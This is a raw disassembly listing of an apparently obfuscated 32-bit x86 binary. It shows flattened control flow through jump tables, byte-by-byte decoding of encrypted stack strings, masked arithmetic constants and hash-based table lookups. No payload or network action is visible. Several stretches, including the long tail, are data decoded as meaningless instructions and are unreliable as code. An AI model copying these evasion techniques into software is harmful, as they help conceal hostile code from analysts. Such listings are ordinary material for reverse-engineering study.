sub esp, 0xc
mov dword [esi + 0x234], edx
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esi + 0x258], ecx
call fcn.00410690
add esp, 0xc
mov edx, dword [esi + 0x234]
les ecx, [ebx + ecx*4]
xchg esi, eax
xor al, 2
add byte [eax], al
add edx, eax
mov eax, dword [esi + 0x22c]
mov ecx, ebx
add ecx, 2
mov word [ebx], ax
mov ebx, ecx
mov ecx, dword [esi + 0x258]
jmp 0x418142
mov word [ebx], 0
sub esp, 0xc
mov dword [esp + 8], eax
mov ebx, dword [esi]
mov dword [esp + 4], ebx
lea eax, [esi + 0x8f0]
mov dword [esp], eax
call fcn.0040f080
add esp, 0xc
mov dword [esi + 0x800], 1
mov ecx, dword [esi + 0x804]
mov edx, dword [esi + 0x800]
mov ecx, dword [ecx + edx*4]
mov edi, dword [esi + 0x18]
jmp ecx
mov eax, gs
salc
cmpsb byte [esi], byte es:[edi]
push eax
push eax
mov eax, dword [esi + 0x3c8]
mov ecx, dword [esi + 0x3cc]
mov eax, dword [ecx + eax*4]
jmp eax
loop 0x41817d
xchg edi, eax
hlt
mov eax, dword [esi + 0x2b0]
mov al, byte [eax]
mov byte [esi + 0x194], al
mov edx, dword [esi + 0x1f8]
mov byte [edx], 0xf6
mov byte [edx + 1], 0x2b
mov byte [edx + 2], 0xba
mov byte [edx + 3], 0x29
mov byte [edx + 4], 0xbd
mov byte [edx + 5], 0x2f
mov byte [edx + 6], 0xf9
mov byte [edx + 7], 0x2d
mov byte [edx + 8], 0x2c
mov byte [edx + 9], 0xd3
mov eax, 0xa
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0xc
jne 0x41824c
mov dword [esi + 0xc4], 0
mov eax, dword [esi + 0xc4]
cmp eax, 0xc
jae 0x4182ad
mov eax, dword [esi + 0xc4]
mov ecx, dword [esi + 0xc4]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419490
mov edx, dword [esi + 0x1f8]
add esp, 8
mov ecx, dword [esi + 0xc4]
mov byte [edx + ecx], al
mov eax, dword [esi + 0xc4]
inc eax
mov dword [esi + 0xc4], eax
jmp 0x418262
sub esp, 8
mov dword [esp + 4], edx
mov dword [esp], edi
call fcn.00419150
add esp, 8
mov eax, dword [esi + 0x720]
mov ecx, dword [esi + 0x724]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x2b4]
mov al, byte [eax]
mov byte [esi + 0x190], al
mov edx, dword [esi + 0x1fc]
mov byte [edx], 0xca
mov byte [edx + 1], 0x19
mov byte [edx + 2], 0x8a
mov byte [edx + 3], 0x17
mov byte [edx + 4], 0x80
mov byte [edx + 5], 0x15
mov byte [edx + 6], 0x86
mov byte [edx + 7], 0x13
mov byte [edx + 8], 0x10
mov byte [edx + 9], 0x11
mov eax, 0xa
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0xc
jne 0x418310
mov dword [esi + 0xc0], 0
mov edi, dword [esi + 4]
mov eax, dword [esi + 0xc0]
cmp eax, 0xc
jae 0x418374
mov eax, dword [esi + 0xc0]
mov ecx, dword [esi + 0xc0]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419460
mov edx, dword [esi + 0x1fc]
add esp, 8
mov ecx, dword [esi + 0xc0]
mov byte [edx + ecx], al
mov eax, dword [esi + 0xc0]
inc eax
mov dword [esi + 0xc0], eax
jmp 0x418329
sub esp, 8
mov dword [esp + 4], edx
mov dword [esp], edi
call fcn.00419150
add esp, 8
mov eax, dword [esi + 0x730]
mov ecx, dword [esi + 0x734]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
sub esp, 4
mov dword [esp], ebx
call fcn.004191a0
add esp, 4
mov dword [esi + 0x6b0], 0
mov ecx, dword [esi + 0x6b4]
mov edx, dword [esi + 0x6b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov edi, dword [esi]
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.0043b5c0
add esp, 4
mov dword [edi], 0
not ebx
shr ebx, 0x1f
mov dword [esi + 0x700], ebx
mov eax, dword [esi + 0x704]
mov ecx, dword [esi + 0x700]
mov eax, dword [eax + ecx*4]
jmp eax
nop
ficomp word [ecx - 0x77]
mov eax, dword [esi + 0x2e8]
mov ecx, dword [esi + 0x2ec]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x3b0]
mov ecx, dword [esi + 0x3b4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x3f8], 1
mov eax, dword [esi + 0x3fc]
mov ecx, dword [esi + 0x3f8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x898], 1
mov eax, dword [esi + 0x89c]
mov ecx, dword [esi + 0x898]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x3d0], 0
mov eax, dword [esi + 0x3d4]
mov ecx, dword [esi + 0x3d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x320]
mov ecx, dword [esi + 0x324]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esi + 0x1b8]
mov byte [esi + 0x1c4], al
mov byte [esi + 0x60], 0x9b
mov byte [esi + 0x61], 0x9a
mov byte [esi + 0x62], 0x9d
mov byte [esi + 0x63], 0x9c
mov dword [esi + 0x7c], 0
mov eax, dword [esi + 0x7c]
cmp eax, 4
jae 0x418511
mov eax, dword [esi + 0x7c]
mov ecx, dword [esi + 0x7c]
movzx ecx, byte [esi + ecx + 0x60]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419200
add esp, 8
mov ecx, dword [esi + 0x7c]
mov byte [esi + ecx + 0x60], al
mov eax, dword [esi + 0x7c]
inc eax
mov dword [esi + 0x7c], eax
jmp 0x4184dc
mov ecx, dword [esi + 0x60]
xor ebx, ebx
cmp ebx, dword [0x44e374]
jb 0x418520
jmp 0x41859d
mov eax, dword [0x44e378]
cmp dword [eax + ebx*8], 0x7e28bda7
sete dl
test dl, 1
jne 0x418536
jmp 0x41858e
mov eax, dword [eax + ebx*8 + 4]
cmp eax, ecx
je 0x41858e
mov dword [esi + 0x260], ecx
mov ecx, dword [0x44e37c]
mov byte [esi + 0x30], dl
xor edx, edx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
mov eax, dword [esi + 0x11c]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov eax, dword [esi + 0x124]
mov dword [esp + 0x14], eax
call fcn.0043e4b0
mov dl, byte [esi + 0x30]
mov ecx, dword [esi + 0x260]
add esp, 0x18
test dl, 1
je 0x418595
jmp 0x41859d
add ebx, 1
jmp 0x418516
mov eax, dword [esi + 0x338]
mov ecx, dword [esi + 0x33c]
mov eax, dword [ecx + eax*4]
jmp eax
cmp dword [esi + 0x1e0], 0
sete dl
mov eax, dword [esi + 0x7d8]
mov ecx, dword [esi + 0x7dc]
mov eax, dword [ecx + eax*4]
mov byte [esi + 0x33], dl
jmp eax
mov eax, dword [esi + 0x3c]
mov eax, dword [eax]
mov ecx, dword [esi]
mov ecx, dword [ecx]
mov edx, dword [esi + 0x130]
mov edx, dword [edx]
xor edi, edi
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.00442360
add esp, 0x10
mov ebx, eax
mov eax, dword [esi + 0x130]
mov eax, dword [eax]
mov dword [esi + 0x278], eax
mov al, byte [esi + 0x150]
mov byte [esi + 0x1c8], al
mov byte [esi + 0x5c], 0x9b
mov byte [esi + 0x5d], 0x9a
mov byte [esi + 0x5e], 0x9d
mov byte [esi + 0x5f], 0x9c
mov dword [esi + 0x78], 0
mov eax, dword [esi + 0x78]
cmp eax, 4
jae 0x418665
mov eax, dword [esi + 0x78]
mov ecx, dword [esi + 0x78]
movzx ecx, byte [esi + ecx + 0x5c]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419200
add esp, 8
mov ecx, dword [esi + 0x78]
mov byte [esi + ecx + 0x5c], al
mov eax, dword [esi + 0x78]
inc eax
mov dword [esi + 0x78], eax
jmp 0x418630
mov edi, dword [esi + 0x5c]
xor edx, edx
cmp edx, dword [0x44e374]
jb 0x418674
jmp 0x4186e5
mov eax, dword [0x44e378]
cmp dword [eax + edx*8], 0x625b6034
sete cl
mov byte [esi + 0x2c], cl
test cl, 1
jne 0x41868d
jmp 0x4186cf
mov eax, dword [eax + edx*8 + 4]
cmp eax, edi
je 0x4186cf
mov dword [esi + 0x264], edi
mov ecx, dword [0x44e37c]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 1
mov eax, dword [esi + 0x278]
mov dword [esp + 0xc], eax
mov edi, edx
call fcn.0043e4b0
mov edx, edi
mov edi, dword [esi + 0x264]
add esp, 0x10
test byte [esi + 0x2c], 1
je 0x4186d7
jmp 0x4186e5
mov eax, edx
xor eax, 1
shl edx, 1
and edx, 2
add edx, eax
jmp 0x41866a
mov eax, dword [esi + 0x708]
mov ecx, dword [esi + 0x70c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x500], 0
mov eax, dword [esi + 0x504]
mov ecx, dword [esi + 0x500]
mov eax, dword [eax + ecx*4]
jmp eax
mov dl, 8
mov edi, 0x8904ec83
sbb al, 0x24
call fcn.004191a0
add esp, 4
mov eax, dword [esi + 0x370]
mov ecx, dword [esi + 0x374]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x4b0], 0
mov eax, dword [esi + 0x4b4]
mov ecx, dword [esi + 0x4b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.004191c0
add esp, 8
mov ebx, eax
add ebx, 0x89ced23b
add ebx, 1
sub ebx, 0x89ced23b
mov ecx, 2
mov eax, ebx
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4187af
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040c470
add esp, 4
mov ecx, eax
mov eax, dword [esi]
mov edi, dword [eax]
mov dword [esi + 0xe8], edi
mov edx, dword [esi + 0x3c]
add edi, dword [edx]
shl ebx, 1
mov dword [esi + 0x1e4], ecx
add ecx, ebx
cmp edi, 0
jne 0x4187fa
sub esp, 4
mov edi, dword [esi + 0xe8]
mov dword [esp], edi
mov ebx, ecx
call fcn.0040c5e0
mov ecx, ebx
mov edx, dword [esi + 0x3c]
add esp, 4
add edi, eax
mov dword [esi + 0x21c], 0
mov ebx, dword [esi + 0x1e4]
mov eax, ecx
add eax, 0xfffffffe
cmp ebx, eax
jae 0x41886f
cmp dword [esi + 0xe8], edi
jae 0x41886f
mov eax, dword [esi + 0xe8]
cmp byte [eax], 0
je 0x41886f
lea eax, [esi + 0x21c]
sub esp, 0xc
mov edx, dword [esi + 0xe8]
mov dword [esp], edx
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esi + 0x25c], ecx
call fcn.00410690
mov edx, dword [esi + 0x3c]
add esp, 0xc
add dword [esi + 0xe8], eax
mov eax, dword [esi + 0x21c]
mov ecx, ebx
add ecx, 2
mov word [ebx], ax
mov ebx, ecx
mov ecx, dword [esi + 0x25c]
jmp 0x41880a
mov word [ebx], 0
mov ecx, dword [edx]
xor ecx, 0xffffffff
sub ecx, 0xffffffff
mov eax, 0x18
sub eax, ecx
add eax, 1
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41889c
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040c470
add esp, 4
mov ebx, eax
mov eax, dword [esi + 0x294]
mov al, byte [eax]
mov byte [esi + 0x1b4], al
mov edx, dword [esi + 0x1ec]
mov byte [edx], 0x74
mov byte [edx + 1], 0xeb
mov byte [edx + 2], 0x7b
mov byte [edx + 3], 0xe9
mov byte [edx + 4], 0x71
mov byte [edx + 5], 0xef
mov byte [edx + 6], 0x45
mov byte [edx + 7], 0xed
mov byte [edx + 8], 0x7a
mov byte [edx + 9], 0xd3
mov byte [edx + 0xa], 0x47
mov byte [edx + 0xb], 0xd1
mov byte [edx + 0xc], pe_nt_image_headers32
mov byte [edx + 0xd], 0xd7
mov byte [edx + 0xe], 0x7d
mov byte [edx + 0xf], 0xd5
mov byte [edx + 0x10], pe_nt_image_headers32
mov byte [edx + 0x11], 0xdb
mov byte [edx + 0x12], 0x76
mov byte [edx + 0x13], 0xd9
mov byte [edx + 0x14], 0xb8
mov byte [edx + 0x15], 0xdf
mov byte [edx + 0x16], 0x8d
mov byte [edx + 0x17], 0xdd
mov byte [edx + 0x18], 0x77
mov byte [edx + 0x19], 0xc3
mov byte [edx + 0x1a], 0x5a
mov byte [edx + 0x1b], 0xc1
mov byte [edx + 0x1c], 0x6b
mov byte [edx + 0x1d], 0xc7
mov byte [edx + 0x1e], 0x63
mov byte [edx + 0x1f], 0xc5
mov byte [edx + 0x20], 0xa4
mov byte [edx + 0x21], 0xcb
mov byte [edx + 0x22], 0x6c
mov byte [edx + 0x23], 0xc9
mov byte [edx + 0x24], 0x57
mov byte [edx + 0x25], 0xcf
mov byte [edx + 0x26], 0x5e
mov byte [edx + 0x27], 0xcd
mov byte [edx + 0x28], 0x6b
mov byte [edx + 0x29], 0x33
mov byte [edx + 0x2a], 0xa7
mov byte [edx + 0x2b], 0x31
mov byte [edx + 0x2c], 0xa5
mov byte [edx + 0x2d], 0x37
mov byte [edx + 0x2e], 0x56
mov byte [edx + 0x2f], 0x35
mov byte [edx + 0x30], 0x34
mov byte [edx + 0x31], 0x3b
mov eax, 0x32
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0x38
jne 0x41898c
mov dword [esi + 0xe4], 0
mov eax, dword [esi + 0xe4]
cmp eax, 0x38
jae 0x4189ed
mov eax, dword [esi + 0xe4]
mov ecx, dword [esi + 0xe4]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004195f0
mov edx, dword [esi + 0x1ec]
add esp, 8
mov ecx, dword [esi + 0xe4]
mov byte [edx + ecx], al
mov eax, dword [esi + 0xe4]
inc eax
mov dword [esi + 0xe4], eax
jmp 0x4189a2
sub esp, 8
mov dword [esp + 4], edx
mov dword [esp], ebx
call fcn.0040f040
mov edi, dword [esi + 0x1e4]
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.0040f040
add esp, 8
mov dword [esi + 0x5e8], 0
mov eax, dword [esi + 0x5ec]
mov ecx, dword [esi + 0x5e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esi + 0x138]
mov byte [esi + 0x160], al
mov byte [esi + 0x210], 0x4f
mov byte [esi + 0x211], 0x2b
mov eax, 2
mov byte [esi + eax + 0x210], 0
add eax, 1
cmp eax, 6
jne 0x418a4b
mov dword [esi + 0x90], 0
mov eax, dword [esi + 0x90]
cmp eax, 6
jae 0x418ab2
mov eax, dword [esi + 0x90]
mov ecx, dword [esi + 0x90]
movzx ecx, byte [esi + ecx + 0x210]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004192c0
add esp, 8
mov ecx, dword [esi + 0x90]
mov byte [esi + ecx + 0x210], al
mov eax, dword [esi + 0x90]
inc eax
mov dword [esi + 0x90], eax
jmp 0x418a65
sub esp, 0xc
lea eax, [esi + 0x210]
mov dword [esp + 4], eax
mov dword [esi + 0xc], ebx
mov dword [esp], ebx
mov dword [esp + 8], 3
call fcn.00404700
add esp, 0xc
mov ecx, dword [esi + 0x860]
mov edx, dword [esi + 0x864]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov al, byte [esi + 0x2d]
mov bl, al
and ebx, 1
mov dword [esi + 0x840], ebx
mov eax, dword [esi + 0x844]
mov ecx, dword [esi + 0x840]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi]
jmp eax
call fcn.0040df00
mov dword [esi + 0x470], 0
mov eax, dword [esi + 0x474]
mov ecx, dword [esi + 0x470]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x4e0], 0
mov eax, dword [esi + 0x4e4]
mov ecx, dword [esi + 0x4e0]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esi + 0x6a8]
mov edx, dword [esi + 0x6ac]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0040df00
mov dword [esi + 0x400], 1
mov eax, dword [esi + 0x404]
mov ecx, dword [esi + 0x400]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov dword [esp], edi
call fcn.0043b5c0
add esp, 4
mov eax, dword [esi + 0x300]
mov ecx, dword [esi + 0x304]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov cl, byte [esi + 0x33]
mov al, cl
and eax, 1
mov dword [esi + 0x588], eax
mov eax, dword [esi + 0x58c]
mov ecx, dword [esi + 0x588]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x6f0], 1
mov eax, dword [esi + 0x6f4]
mov ecx, dword [esi + 0x6f0]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x690], 1
mov eax, dword [esi + 0x694]
mov ecx, dword [esi + 0x690]
mov eax, dword [eax + ecx*4]
jmp eax
cmp byte [edx - 0x19], dh
push es
mov esi, esp
in al, 0x5c
mov eax, dword [esi + 0x380]
mov ecx, dword [esi + 0x384]
mov eax, dword [ecx + eax*4]
jmp eax
adc cl, byte [ecx + 0x3190d23e]
fst qword [ebx + ecx*4 + 0x31086]
add byte [ebx + 0x3148e], cl
add byte [ebx - 0x1f007efc], cl
mov al, byte [esi + 0x13c]
mov byte [esi + 0x15c], al
mov byte [esi + 0x48], 0x92
mov byte [esi + 0x49], 0xad
mov byte [esi + 0x4a], 0x3e
mov eax, 3
mov byte [esi + eax + 0x48], 0
add eax, 1
cmp eax, 4
jne 0x418ccb
mov dword [esi + 0x8c], 0
mov eax, dword [esi + 0x8c]
cmp eax, 4
jae 0x418d29
mov eax, dword [esi + 0x8c]
mov ecx, dword [esi + 0x8c]
movzx ecx, byte [esi + ecx + 0x48]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419280
add esp, 8
mov ecx, dword [esi + 0x8c]
mov byte [esi + ecx + 0x48], al
mov eax, dword [esi + 0x8c]
inc eax
mov dword [esi + 0x8c], eax
jmp 0x418ce2
sub esp, 0xc
lea eax, [esi + 0x48]
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], 3
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0x868], ecx
mov eax, dword [esi + 0x86c]
mov ecx, dword [esi + 0x868]
mov eax, dword [eax + ecx*4]
jmp eax
call dword [edi + 0x4d]
or al, byte [ebx + 0x1c8904ec]
and al, 0xe8
or eax, 0x83ffff37
les eax, [ebx + ecx*4]
xchg al, dh
add al, byte [eax]
add byte [ebx + 0x2f48e], cl
add byte [ebx - 0x1f007efc], cl
int3
xor ebx, ebx
jmp dword [0x448e54]
push dword [esp + 0x14]
call fcn.0040c480
add esp, 4
mov eax, ebx
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 4]
push 0
push eax
push dword [esp + 0x10]
call fcn.00442060
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x448e14]
add ebp, 2
jmp dword [0x448e20]
mov eax, dword [esp + 8]
mov dword [esp + 0xc], 0x9c9d9a9b
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 3
ja 0x4197d2
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0xc]
mov esi, ecx
xor esi, 0x3d9fbf1a
and ecx, 0x3d9fbf1a
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
add ecx, ecx
sub esi, ecx
mov dword [esp + 4], esi
mov ecx, dword [esp + 4]
add cl, 0x7e
mov edx, dword [esp]
mov byte [esp + edx + 0xc], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 4
jb 0x419790
mov ecx, dword [0x44e374]
test ecx, ecx
je 0x419808
mov edx, dword [esp + 0xc]
xor esi, esi
mov edi, dword [0x44e378]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x419800
inc esi
cmp ecx, esi
jne 0x4197f0
jmp 0x419808
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x41980e
jmp dword [0x448e54]
push eax
push 1
push dword [0x44e37c]
push ecx
call fcn.0043e4b0
add esp, 0x10
jmp dword [0x448e54]
jmp dword [0x448e3c]
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x448e2c]
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x30]
mov ebx, dword [ecx]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x419850
mov esi, dword [ecx + 8]
mov ecx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + ecx + 2], 0
lea ecx, [ecx + 2]
jne 0x419870
sar eax, 1
add ebp, eax
sar ecx, 1
add ecx, ebp
mov eax, ecx
and eax, 1
xor ecx, 1
lea eax, [ecx + eax*2]
test eax, eax
jns 0x419899
mov eax, 0xffffffff
jmp 0x41989b
add eax, eax
push eax
call fcn.0040c470
add esp, 4
mov ebp, eax
movzx ecx, word [ebx]
test cx, cx
je 0x4198d1
add ebx, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x4198c0
mov word [eax], 0x2f
add eax, 2
movzx ecx, word [esi]
test cx, cx
je 0x419901
add esi, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x4198f0
mov word [eax], 0x2f
add eax, 2
movzx ecx, word [edi]
test cx, cx
je 0x419933
add edi, 2
mov esi, dword [esp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x419920
jmp 0x419937
mov esi, dword [esp + 0x10]
mov word [eax], 0
mov ecx, dword [esp + 0x2c]
push dword [esp + 4]
push esi
push ebp
call fcn.0040ce80
mov ebx, eax
jmp dword [0x448e34]
push ebp
call fcn.0040c480
add esp, 4
jmp dword [0x448e3c]
jmp dword [0x448e44]
push esi
call fcn.0040c480
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.0040c480
add esp, 4
jmp dword [0x448e50]
mov esi, dword [esp + 4]
push esi
call fcn.0040c470
add esp, 4
push 0
push esi
push eax
push dword [esp + 0x14]
call fcn.00442170
add esp, 0x10
mov esi, dword [esp + 4]
push esi
call fcn.0040c470
add esp, 4
push 0
push esi
mov esi, eax
push eax
push dword [esp + 0x14]
call fcn.00442170
add esp, 0x10
jmp dword [0x448e28]
add dword [ecx], eax
mov ecx, 0x39004101
add al, byte [ecx]
inc eax
add al, byte [ecx]
pop ebp
push es
inc ecx
add byte [ebx + eax + 0x41], ah
add byte [ebx + eax + 0x3ad0041], al
inc ecx
add byte [edx - 0x36ffbefd], dl
add eax, dword [ecx]
jg 0x44801f
inc ecx
add byte [eax - 0x5fffbefb], ah
add eax, 0x5bf0041
inc ecx
add ch, cl
add eax, 0x5dd0041
inc ecx
add byte [esi + eax], dh
add byte [eax - 0x40ffbefb], ah
add eax, 0x5cd0041
inc ecx
add ch, bl
add eax, 0x6340041
inc ecx
add byte [ecx], dl
push es
inc ecx
add byte [esi + eax], dh
inc ecx
add byte [edx], ch
push es
inc ecx
add byte [eax], dh
push es
inc ecx
add byte [eax], dh
push es
inc ecx
add byte [eax], dh
push es
inc ecx
add byte [esi + eax], dh
inc ecx
add byte [eax + 6], dl
inc ecx
add byte [edx], bh
push es
inc ecx
add byte [eax + 6], dl
inc ecx
add byte [ebp + 6], bl
inc ecx
add byte [eax - 0x7fffbefa], al
push es
inc ecx
add byte [eax - 0x7dffbefa], al
push es
inc ecx
add byte [ecx], dl
or byte [ecx], al
pop ecx
or byte [ecx], al
lds ecx, [ecx + eax*2]
add byte [edi - 1090502392], dh
or al, 0x41
add ch, al
or al, 0x41
add cl, bl
or byte [ecx], al
lock or byte [ecx], al
add ecx, dword [ecx]
inc ecx
add byte [ebx], al
or dword [ecx], eax
mov cs, word [edx]
inc ecx
add bh, cl
or al, 0x41
add byte [ebx - 0x40ffbef4], ch
or al, 0x41
add byte [edi + 0xd], ah
inc ecx
add byte [ecx + 0xd], bh
inc ecx
add byte [edx + 0x1500410d], al
push cs
inc ecx
add byte [edi - 0x6dffbee5], al
adc eax, 0xe240041
inc ecx
add byte [edi - 0x67ffbef0], cl
adc byte [ecx], al
rcl byte [ecx + eax*2]
add al, dl
adc al, 0x41
add dh, dl
adc al, 0x41
add dh, dl
adc al, 0x41
add byte [ecx + 0x15], al
inc ecx
add byte [edi + 0x15], bl
inc ecx
add byte [eax + 0x15], ch
inc ecx
add byte [edx + 0x7f004115], ah
adc eax, 0x157f0041
inc ecx
add byte [esi - 0x4dffbeeb], bh
sbb dword [ecx], eax
or ebx, dword [ebx]
inc ecx
add byte [ebx], cl
sbb eax, dword [ecx]
and dword [ebx], ebx
inc ecx
add byte [ecx], dh
sbb eax, dword [ecx]
inc ecx
sbb eax, dword [ecx]
push ebx
pop ss
inc ecx
add ah, al
adc eax, 0x16860041
inc ecx
add byte [eax - 0x5fffbee7], ah
sbb dword [ecx], eax
mov al, 0x19
inc ecx
add byte [edi + 0x1b], cl
inc ecx
add byte [edi + 0x1b], cl
inc ecx
add byte [edi + 0x1b], cl
inc ecx
add byte [edi - 0x78ffbee5], al
sbb eax, dword [ecx]
lds ecx, [ecx + eax*2]
add dl, ah
or byte [ecx], al
rcl byte [ecx + eax*2]
add byte [edx + ebx + 65], bl
add byte [edi], ah
sbb eax, dword [ecx]
retf 0x4115
sbb al, 0x41
add bl, al
and byte [ecx], al
dec esp
and dword [ecx], eax
push eax
sbb al, 65
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add bl, cl
dec edx
inc ecx
add byte [ecx], al
add byte [eax], al
add ah, dh
and eax, 0x38340041
inc ecx
add byte [edx - 0x59ffbeb7], bl
dec ecx
inc ecx
add byte [edx - 0x47ffbeb7], bl
dec ecx
inc ecx
add bh, al
inc ebx
inc ecx
add byte [edx - 0x38ffbeb8], bh
inc ebx
inc ecx
add bl, dl
inc ebx
inc ecx
add byte [ecx + 0x48004146], cl
inc edi
inc ecx
add byte [eax + 0x47], cl
inc ecx
add byte [eax + edi + 0x41], cl
add byte [eax + 0x5f004143], bh
cmp byte [ecx], al
insd dword es:[edi], dx
cmp dword [ecx], eax
xor byte [ecx], bh
inc ecx
add byte [eax], dh
cmp dword [ecx], eax
xor byte [ecx], bh
inc ecx
add byte [eax], dh
cmp dword [ecx], eax
xor bh, byte [ecx]
inc ecx
add byte [ebp + 0x39], ch
inc ecx
add byte [esi + 0x39], al
inc ecx
add byte [eax + 0x39], bl
inc ecx
add byte [ebp + 0x39], ch
inc ecx
add byte [edx - 0x64ffbec6], dl
cmp al, byte [ecx]
leave
cmp al, byte [ecx]
fnstsw word [edx]
inc ecx
add byte [edx + 0x43], dh
inc ecx
add byte [ebp + 0x78004142], al
inc ebx
inc ecx
add byte [ecx - 0x53ffbebd], dl
inc edx
inc ecx
add byte [ecx + 0x42], ch
inc ecx
add byte [ebx + eax*2 + 0x41], bl
add byte [ebp + 0x43], ah
inc ecx
add byte [eax + 0x43], dh
inc ecx
add byte [eax + 0x43], dh
inc ecx
add byte [eax + 0x43], dh
inc ecx
add byte [ecx + 0x42], ch
inc ecx
add byte [esi - 0x55ffbebd], bl
inc ebx
inc ecx
add byte [edi + 0x41], cl
add byte [eax + 0x1c], dl
inc ecx
add cl, bh
inc ecx
add byte [ecx + esi + 0x31db0041], al
inc ecx
add bh, dh
cmp al, byte [ecx]
xor byte [0x3d500041], bh
inc ecx
add byte [edi + 0x3d], ah
inc ecx
add byte [eax + 0x3d], dl
inc ecx
add byte [eax + 0x3d], bh
inc ecx
add bh, dh
cmp al, byte [ecx]
stc
inc ecx
add byte [edx + 0x3b], dl
inc ecx
add byte [esi], ch
das
inc ecx
add cl, dh
xor dword [ecx], eax
push dword [ecx]
inc ecx
add byte [ecx + esi + 0x41], ch
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add bh, bh
xor dword [ecx], eax
add dword [eax], eax
add byte [eax], al
push ecx
xor al, byte [ecx]
sbb dword [edx], esi
inc ecx
add byte [ecx + 0x32], dl
inc ecx
add byte [ecx], bl
xor al, byte [ecx]
jb 0x448a93
inc ecx
add byte [edx + esi], ch
inc ecx
add byte [edx], dh
xor al, byte [ecx]
push edi
xor al, 65
add byte [ecx + 0x29], al
inc ecx
add byte [eax + 0x1c], dl
inc ecx
add ah, ah
xor eax, dword [ecx]
